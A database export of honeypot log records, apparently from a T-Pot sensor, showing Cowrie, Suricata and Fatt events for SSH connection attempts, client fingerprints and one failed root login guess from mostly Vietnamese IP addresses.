24297	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:40.19725+03	2021-09-20 14:15:08.6025+03	{"_id": "0AbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "12164025bdb3", "@version": "1", "duration": 2.4900734424591064, "timestamp": "2021-09-20T11:08:40.197250Z", "@timestamp": "2021-09-20T11:08:40.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24298	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:40.243358+03	2021-09-20 14:15:08.6035+03	{"_id": "0QbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/r00t123] failed", "session": "87076ebb691d", "@version": "1", "password": "r00t123", "username": "root", "timestamp": "2021-09-20T11:08:40.243358Z", "@timestamp": "2021-09-20T11:08:40.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24299	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:40.347006+03	2021-09-20 14:15:08.6045+03	{"_id": "0wbkAnwBvYTbRNuEyxIP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1294152762858950, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42582, "dest_port": 22, "timestamp": "2021-09-20T11:08:40.347006Z", "@timestamp": "2021-09-20T11:08:40.347Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24300	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:40.073902+03	2021-09-20 14:15:08.605501+03	{"_id": "2AbkAnwBvYTbRNuEyxL-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42582, "timestamp": "2021-09-20T11:08:40.073902", "@timestamp": "2021-09-20T11:08:40.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24301	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:40.860284+03	2021-09-20 14:15:08.6065+03	{"_id": "2QbkAnwBvYTbRNuEyxL-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53642, "dest_port": 22, "timestamp": "2021-09-20T11:08:40.860284", "@timestamp": "2021-09-20T11:08:40.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24302	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:40.555368+03	2021-09-20 14:15:08.6085+03	{"_id": "2wbkAnwBvYTbRNuEzBKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53642 (192.168.176.2:22) [session: 33246fa34203]", "session": "33246fa34203", "@version": "1", "protocol": "ssh", "src_port": 53642, "dest_port": 22, "timestamp": "2021-09-20T11:08:40.555368Z", "@timestamp": "2021-09-20T11:08:40.555Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24303	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:40.635118+03	2021-09-20 14:15:08.6095+03	{"_id": "3AbkAnwBvYTbRNuEzBKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:59312 (192.168.176.2:22) [session: 5e14029ee594]", "session": "5e14029ee594", "@version": "1", "protocol": "ssh", "src_port": 59312, "dest_port": 22, "timestamp": "2021-09-20T11:08:40.635118Z", "@timestamp": "2021-09-20T11:08:40.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24304	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:40.348619+03	2021-09-20 14:15:08.610496+03	{"_id": "4wbkAnwBvYTbRNuEzBKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "690bb208186d", "@version": "1", "timestamp": "2021-09-20T11:08:40.348619Z", "@timestamp": "2021-09-20T11:08:40.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24305	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:40.636697+03	2021-09-20 14:15:08.6125+03	{"_id": "5AbkAnwBvYTbRNuEzBKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5e14029ee594", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:40.636697Z", "@timestamp": "2021-09-20T11:08:40.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
37016	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:19:03.034064+03	2021-09-20 15:30:03.075891+03	{"_id": "8wYlA3wBvYTbRNuEN2bY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 55700, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1398885817222416, "@version": "1", "in_iface": "enp5s0", "src_port": 48567, "dest_port": 53, "timestamp": "2021-09-20T12:19:03.034064Z", "@timestamp": "2021-09-20T12:19:03.034Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
24306	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:40.651624+03	2021-09-20 14:15:08.6135+03	{"_id": "5QbkAnwBvYTbRNuEzBKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "33246fa34203", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:40.651624Z", "@timestamp": "2021-09-20T11:08:40.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24307	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:08:40.709714+03	2021-09-20 14:15:08.6155+03	{"_id": "5gbkAnwBvYTbRNuEzBKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "67aa52b72f1d", "@version": "1", "duration": 1.2941977977752686, "timestamp": "2021-09-20T11:08:40.709714Z", "@timestamp": "2021-09-20T11:08:40.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24308	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:40.860553+03	2021-09-20 14:15:08.616501+03	{"_id": "5wbkAnwBvYTbRNuEzBKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "33246fa34203", "@version": "1", "timestamp": "2021-09-20T11:08:40.860553Z", "@timestamp": "2021-09-20T11:08:40.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24309	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:41.179199+03	2021-09-20 14:15:08.6175+03	{"_id": "6AbkAnwBvYTbRNuEzBKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ef624ded0e0c", "@version": "1", "duration": 2.5311644077301025, "timestamp": "2021-09-20T11:08:41.179199Z", "@timestamp": "2021-09-20T11:08:41.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
